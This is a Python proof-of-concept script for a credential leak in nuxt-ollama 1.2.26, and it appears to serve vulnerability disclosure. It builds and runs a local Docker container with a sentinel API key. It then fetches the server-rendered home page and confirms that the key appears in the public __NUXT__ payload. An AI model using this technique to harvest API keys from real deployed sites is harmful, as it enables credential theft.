#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Title   : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE     : CWE-522 - Insufficiently Protected Credentials
CVSS    : 7.5 High  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack summary
--------------
When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80
for cloud Ollama), the module's setup() function in src/module.ts:36 merges the
entire _options object—api_key included—into runtimeConfig.public.ollama.

Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and
embeds it in the HTML response inside a <script> payload block (__NUXT__ /
__NUXT_DATA__).  Any unauthenticated HTTP GET request to the home page therefore
returns the api_key in plain text, with no authentication required.

This script:
  1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.
  2. Starts the image as a local container.
  3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
  4. Prints an evidence excerpt and writes phase2_result.json.
"""

import json
import os
import subprocess
import sys
import time
import urllib.request

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET_KEY      = "LEAKED_TEST_KEY_123"
IMAGE_NAME      = "nuxt-ollama-vuln-001"
CONTAINER_NAME  = "nuxt-ollama-poc-001"
HOST            = "127.0.0.1"
PORT            = 3000
URL             = f"http://{HOST}:{PORT}/"

SCRIPT_DIR  = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR  = os.path.dirname(SCRIPT_DIR)       # build context (contains repo/)
DOCKERFILE  = os.path.join(SCRIPT_DIR, "Dockerfile")
RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")

BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
RUN_CMD   = (
    f"docker run -d --name {CONTAINER_NAME} "
    f"-p {PORT}:{PORT} {IMAGE_NAME}"
)
POC_CMD   = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def run_cmd(cmd_list, check=True, capture=False):
    """Execute a command, printing it first; return CompletedProcess."""
    print(f"[cmd] {' '.join(cmd_list)}", flush=True)
    return subprocess.run(
        cmd_list,
        check=check,
        capture_output=capture,
        text=bool(capture),
    )


def cleanup_container():
    """Remove the PoC container if it already exists."""
    subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)


def wait_for_server(url, timeout=180, interval=5):
    """Poll url until it returns a non-5xx response or the timeout expires."""
    print(f"[*] Waiting for server at {url}  (timeout={timeout}s)", flush=True)
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=5) as resp:
                if resp.status < 500:
                    print(f"[+] Server up — HTTP {resp.status}", flush=True)
                    return True
        except Exception:
            pass
        time.sleep(interval)
    return False


def save_result(data):
    """Write phase2_result.json and echo its path."""
    with open(RESULT_FILE, "w", encoding="utf-8") as fh:
        json.dump(data, fh, ensure_ascii=False, indent=2)
    print(f"\n[*] Result saved to {RESULT_FILE}", flush=True)


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main():
    print("=" * 66)
    print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
    print("=" * 66, flush=True)

    cleanup_container()

    # ------------------------------------------------------------------
    # Step 1 — Build Docker image
    # ------------------------------------------------------------------
    print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True)
    build_rc = run_cmd(
        ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR],
        check=False,
    ).returncode

    if build_rc != 0:
        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      f"docker build exited with returncode={build_rc}",
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        sys.exit(1)

    print("[+] Image built successfully.", flush=True)

    # ------------------------------------------------------------------
    # Step 2 — Start the container
    # ------------------------------------------------------------------
    print("\n[STEP 2] Starting container ...", flush=True)
    run_rc = run_cmd(
        ["docker", "run", "-d",
         "--name", CONTAINER_NAME,
         "-p", f"{PORT}:{PORT}",
         IMAGE_NAME],
        check=False,
    ).returncode

    if run_rc != 0:
        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        "Docker 컨테이너 실행 실패.",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      f"docker run exited with returncode={run_rc}",
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        sys.exit(1)

    # ------------------------------------------------------------------
    # Step 3 — Wait for Nuxt SSR server
    # ------------------------------------------------------------------
    print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True)
    if not wait_for_server(URL, timeout=180):
        logs = subprocess.run(
            ["docker", "logs", CONTAINER_NAME],
            capture_output=True, text=True,
        )
        log_snippet = (logs.stdout + logs.stderr)[-2000:]
        print("[!] Server did not respond within timeout. Container logs:\n", log_snippet)
        save_result({
            "passed":        False,
            "verdict":       "INCOMPLETE",
            "reason":        "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      log_snippet,
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)

    # ------------------------------------------------------------------
    # Step 4 — Fetch the rendered HTML page
    # ------------------------------------------------------------------
    print(f"\n[STEP 4] GET {URL} ...", flush=True)
    try:
        with urllib.request.urlopen(URL, timeout=15) as resp:
            html = resp.read().decode("utf-8", errors="replace")
    except Exception as exc:
        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        f"HTTP 요청 실패: {exc}",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      str(exc),
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)

    print(f"[+] Received {len(html)} bytes.", flush=True)

    # ------------------------------------------------------------------
    # Step 5 — Verify TARGET_KEY is present in the HTTP response body
    # ------------------------------------------------------------------
    print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True)

    if TARGET_KEY in html:
        idx   = html.index(TARGET_KEY)
        start = max(0, idx - 200)
        end   = min(len(html), idx + len(TARGET_KEY) + 200)
        excerpt = html[start:end].strip()

        print(f"\n{'='*66}")
        print(f"[PASS]  VULNERABILITY CONFIRMED")
        print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.")
        print(f"{'='*66}")
        print(f"Evidence excerpt:\n\n{excerpt}\n")
        print(f"{'='*66}")

        save_result({
            "passed":        True,
            "verdict":       "PASS",
            "reason":        (
                "nuxt-ollama@1.2.26의 src/module.ts:36에서 api_key를 "
                "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 "
                "__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 "
                "LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨."
            ),
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      excerpt,
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(0)

    else:
        snippet = html[:3000]
        print(f"[FAIL]  '{TARGET_KEY}' NOT found in the HTTP response body.")
        print("--- HTML (first 3000 chars) ---")
        print(snippet)

        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        (
                f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. "
                "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음."
            ),
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      snippet[:1500],
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)


if __name__ == "__main__":
    main()